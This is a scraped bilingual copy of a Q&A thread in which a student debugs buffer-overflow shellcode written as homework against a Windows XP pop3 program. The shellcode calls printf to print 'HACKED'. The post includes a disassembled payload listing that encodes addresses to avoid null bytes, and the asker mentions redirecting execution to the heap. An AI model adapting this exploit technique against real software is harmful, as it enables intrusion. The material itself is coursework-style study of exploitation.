简体   繁体   English

汇编程序中的Printf无法打印

[英]Printf in assembler doesn't print

I have got a homework to hack program using buffer overflow ( with disassambling, program was written in C++, I haven't got the source code ). 我有一个使用缓冲区溢出来破解程序的功课(使用disassambling,程序是用C ++编写的,我还没有源代码)。 I have already managed it but I have a problem. 我已经管理过但我遇到了问题。 I have to print some message on the screen, so I found out address of printf function, pushed address of "HACKED" and address of "%s" on the stack ( in this order ) and called that function. 我必须在屏幕上打印一些消息,所以我找到了printf函数的地址,在堆栈中按下“HACKED”的地址和“%s”的地址(按此顺序)并调用该函数。 Called code passed well but nothing had been printed. 调用的代码传递良好但没有打印出来。

I have tried to simulate the environment like in other place in the program but there has to be something wrong. 我试图像程序中的其他地方一样模拟环境但是必须有问题。 Do you have any idea what I am doing wrong that I have no output, please? 你知道我做错了什么我没有输出吗? Thanks a lot 非常感谢

EDIT: 编辑:

This program is running on Windows XP SP3 32b, written in C++, Intel asm 该程序在Windows XP SP3 32b上运行,用C ++,Intel asm编写

there is the "hack" code 有“黑客”代码

CPU Disasm
Address   Hex dump          Command                                  Comments
0012F9A3    90              NOP                                      ;hack begins
0012F9A4    90              NOP
0012F9A5    90              NOP
0012F9A6    89E5            MOV EBP,ESP
0012F9A8    83EC 7F         SUB ESP,7F                               ;creating a place for working data
0012F9AB    83EC 7F         SUB ESP,7F
0012F9AE    31C0            XOR EAX,EAX
0012F9B0    50              PUSH EAX
0012F9B1    50              PUSH EAX
0012F9B2    50              PUSH EAX
0012F9B3    89E8            MOV EAX,EBP
0012F9B5    83E8 09         SUB EAX,9
0012F9B8    BA 1406EDFF     MOV EDX,FFED0614                            ;address to jump, it is negative because there mustn't be 00 bytes
0012F9BD    F7DA            NOT EDX
0012F9BF    FFE2            JMP EDX                                     ;I have to jump because there are some values overwritten by the program
0012F9C1    90              NOP
0012F9C2    0090 00000000   ADD BYTE PTR DS:[EAX],DL
0012F9C8    90              NOP
0012F9C9    90              NOP
0012F9CA    90              NOP
0012F9CB    90              NOP
0012F9CC    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command
0012F9CD    65:6E           OUTS DX,BYTE PTR GS:[ESI]                ; I/O command
0012F9CF    67:74 68        JE SHORT 0012FA3A                        ; Superfluous address size prefix
0012F9D2    2069 73         AND BYTE PTR DS:[ECX+73],CH
0012F9D5    203439          AND BYTE PTR DS:[EDI+ECX],DH
0012F9D8    34 2C           XOR AL,2C
0012F9DA    2066 69         AND BYTE PTR DS:[ESI+69],AH
0012F9DD    72 73           JB SHORT 0012FA52
0012F9DF    74 20           JE SHORT 0012FA01
0012F9E1    3120            XOR DWORD PTR DS:[EAX],ESP
0012F9E3    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command
0012F9E4    696E 65 7300909 IMUL EBP,DWORD PTR DS:[ESI+65],-6F6FFF8D
0012F9EB    90              NOP
0012F9EC    90              NOP
0012F9ED    90              NOP
0012F9EE    31DB            XOR EBX,EBX                             ; hack continues
0012F9F0    8818            MOV BYTE PTR DS:[EAX],BL               ; writing 00 behind word "HACKED"
0012F9F2    83E8 06         SUB EAX,6
0012F9F5    50              PUSH EAX  ; address of "HACKED"
0012F9F6    B8 3B8CBEFF     MOV EAX,FFBE8C3B
0012F9FB    F7D0            NOT EAX
0012F9FD    50              PUSH EAX   ; address of "%s"
0012F9FE    B8 3897BFFF     MOV EAX,FFBF9738
0012FA03    F7D0            NOT EAX
0012FA05    FFD0            CALL EAX    ;address of printf                             

beginning of the program: 该计划的开头:

CPU Disasm
Address   Hex dump          Command                                  Comments
00403F40  /$  55            PUSH EBP
00403F41  |.  8BEC          MOV EBP,ESP
00403F43  |.  6A FF         PUSH -1
00403F45  |.  68 AB6D4100   PUSH pop3.00416DAB
00403F4A  |.  64:A1 0000000 MOV EAX,DWORD PTR FS:[0]
00403F50  |.  50            PUSH EAX
00403F51  |.  64:8925 00000 MOV DWORD PTR FS:[0],ESP
00403F58  |.  81EC 4C050000 SUB ESP,54C
00403F5E  |.  6A 00         PUSH 0                                   ; /Arg1 = 0
00403F60  |.  E8 6BDEFFFF   CALL 00401DD0                            ; \pop3.00401DD0
00403F65  |.  83C4 04       ADD ESP,4
00403F68  |.  50            PUSH EAX                                 ; /Arg1
00403F69  |.  E8 DA2D0000   CALL 00406D48                            ; \pop3.00406D48
00403F6E  |.  83C4 04       ADD ESP,4
00403F71  |.  837D 08 02    CMP DWORD PTR SS:[ARG.1],2
00403F75  |.  74 21         JE SHORT 00403F98
00403F77  |.  837D 08 03    CMP DWORD PTR SS:[ARG.1],3
00403F7B  |.  74 1B         JE SHORT 00403F98
00403F7D  |.  8B45 0C       MOV EAX,DWORD PTR SS:[ARG.2]
00403F80  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
00403F82  |.  51            PUSH ECX
00403F83  |.  68 287D4100   PUSH OFFSET pop3.00417D28                ; ASCII "%s arg: port [log dir]"
00403F88  |.  E8 3A290000   CALL 004068C7                            ; this is probably address of printf, I have source code of previous version of this program, this part is probably same

This code is really ugly because I am new in assembler and there mustn't be null bytes because of buffer-overflow bug 这段代码非常难看,因为我是汇编程序的新手,因为缓冲区溢出错误,所以不能有空字节

Are you that parameters to printf are passed in the right order, you have the right number of them, and they are all passed through the stack (optimization may mean registers are used instead). 您是否以正确的顺序传递printf的参数,您拥有正确的数量,并且它们都通过堆栈传递(优化可能意味着使用寄存器)。 The variable number of parameters could result in a more complex parameter list than your assuming. 可变数量的参数可能导致比您的假设更复杂的参数列表。 Maybe try a call to puts which could be simpler. 也许尝试一下可能更简单的看跌期权

Edit: Just saw your edit, and you're trying to disassemble a bunch of text that should never get executed; 编辑:刚刚看到你的编辑,你正试图反汇编一堆永远不会被执行的文本; The code starting as 代码起始于

0012F9CC    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command 
0012F9CD    65:6E           OUTS DX,BYTE PTR GS:[ESI]                ; I/O command 
0012F9CF    67:74 68        JE SHORT 0012FA3A                        ; Superfluous address size prefix 
0012F9D2    2069 73         AND BYTE PTR DS:[ECX+73],CH 
0012F9D5    203439          AND BYTE PTR DS:[EDI+ECX],DH 
0012F9D8    34 2C           XOR AL,2C 

is actually just a piece of text saying 'ength is 494,first 1 lines'. 实际上只是一段文字说'ength是494,前1行'。 I spotted this as printf should not have INS and OUTS. 我发现这是因为printf不应该有INS和OUTS。 Hint: When hacking and disassembling code always look at it side by side in an editor that shows ASCII and UNICODE to root out text literals. 提示:当黑客攻击和反汇编代码时,总是在编辑器中并排查看它,该编辑器显示ASCII和UNICODE以根除文本文字。

I haven't found the mistake but I have changed structure of my hack code and now it is working. 我没有发现错误,但我已经改变了我的黑客代码的结构,现在它正在工作。 I am posting only few instructions which redirect EIP out of the stack to the heap where I have "unlimited" space and here I can execute desired code. 我只发布了一些指令,它们将EIP从堆栈重定向到我有“无限”空间的堆,在这里我可以执行所需的代码。 Thank you for your advice. 感谢您的意见。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM